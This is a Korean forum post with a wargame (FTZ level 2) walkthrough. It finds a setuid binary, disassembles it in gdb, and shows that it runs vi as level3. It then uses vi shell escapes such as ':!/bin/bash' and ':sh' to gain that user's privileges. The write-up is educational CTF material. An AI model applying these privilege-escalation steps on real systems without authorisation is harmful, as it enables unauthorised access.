|
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=2433 [복사]
레벨2 의 정석적인 풀이입니다.
참고하세요
자 먼저 레벨3 setuid가 걸린 파일을 찾습니다.
[level2@ftz level2]$ find / -perm -04000 -group level2 2> /dev/null
/usr/bin/editor
[level2@ftz level2]$ ls -al /usr/bin/editor
-rwsr-x--- 1 level3 level2 22380 3월 29 2003 /usr/bin/editor
그런 다음 이 파일이 무얼 하는 파일인지 그속의 문자열들을 걸러보구요.
[level2@ftz level2]$ strings /usr/bin/editor
/lib/ld-linux.so.2
libc.so.6
system
__deregister_frame_info
setreuid
_IO_stdin_used
__libc_start_main
__register_frame_info
__gmon_start__
GLIBC_2.0
PTRh
QVh@
/bin/vi
OSF
음 대충 봐도 vi 에디터가 보이는군요.더 자세히 보죠.
[level2@ftz level2]$ gdb -q /usr/bin/editor
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>: push %ebp
0x08048441 <main+1>: mov %esp,%ebp
0x08048443 <main+3>: sub $0x8,%esp
0x08048446 <main+6>: sub $0x8,%esp
0x08048449 <main+9>: push $0xbbb <== 3003
0x0804844e <main+14>: push $0xbbb <== 3003
0x08048453 <main+19>: call 0x8048328 <setreuid>
0x08048458 <main+24>: add $0x10,%esp
0x0804845b <main+27>: sub $0xc,%esp
0x0804845e <main+30>: push $0x80484d8 <== "/bin/vi"
0x08048463 <main+35>: call 0x80482f8 <system>
0x08048468 <main+40>: add $0x10,%esp
0x0804846b <main+43>: leave
0x0804846c <main+44>: ret
0x0804846d <main+45>: lea 0x0(%esi),%esi
End of assembler dump.
(gdb) b *0x08048463
Breakpoint 1 at 0x8048463
(gdb) r
Starting program: /usr/bin/editor
Breakpoint 1, 0x08048463 in main ()
(gdb) x/s 0x80484d8
0x80484d8 <_IO_stdin_used+4>: "/bin/vi"
(gdb) q
[level2@ftz level2]$ id
uid=3002(level2) gid=3002(level2) groups=3002(level2)
[level2@ftz level2]$ cat /etc/passwd|grep level3
level3:x:3003:3003:Level 3:/home/level3:/bin/bash
십육진수 0xbbb = 십진수 3003 이니까
setreuid(3003,3003); 가 되고
system("/bin/vi"); 인걸 알수 있지요.
쉽게 말해 /usr/bin/editor 는 vi 에디터를 실행하는 껍데기
프로그램인셈인데요.이 프로그램이 실행되는 동안에는 레벨3
의 권한을 갖게 되는겁니다.
이 프로그램의 약점은 바로 vi가 실행되는 도중에
특별한 명령어를 통해 쉘명령어나 다른명령어를 실행할수 있다는 겁니다.
다들 아시다시피 사실 vi 에서 esc + : 입력을 통해 ex 모드로 가서
! 다음에 어떤 명령어든 실행할수 있어서
!/bin/bash 나 !/bin/ash 또는 !/bin/my-pass 등등 다양하게 시도할수 있습니다.
어떤분은 왜 꼭 !를 붙여야 하느냐 나는 그거 안붙이고도 되더라 하시는분
계신데 사실 그렇습니다.:sh 만 쳐도 쉘로 빠져 나가 지지요.그렇지만
그뿐입니다.단지 쉘로 잠시 나갈수 있다는것뿐 !붙였을때와 같은 다양한
명령어실행은 불가능합니다.
예컨대 :bash 나 :my-pass 같은건 안되는거죠.
굳이 구별하자면 :sh 은 vi 에서 잠시 쉘로 빠져나간다는 느낌이 강하고
:!pwd :!ls 등등 :!와 함께 오는 명령어는 그 명령어를 실행하고
그 실행결과를 편집에 그대로 사용한다는 즉 빠져 나가지 않고 있다는 느낌이
더 강하지요.
그래서 굳이 말하자면 쉘로 나가기 위해서 :sh 하지않고
:!sh 또는 :!/bin/bash 하는것은 타이핑 낭비인셈이죠.
:! 라는 기능을 만든이유가 굳이 귀찮게 쉘로 나가지 않고도 다양한 명령어를 실행하고
그결과를 바로 편집에 쓴다는 거니까 말입니다.
어쨌든 우리는 해커로서 vi의 원래 의도된 기능과 상관없이
vi의 취약한 부분을 공격하는거니까 이렇든 저렇든 관계없지만 ㅋㅋ |
Hit : 3380 Date : 2007/07/14 12:24
|
2844, 
10/143 
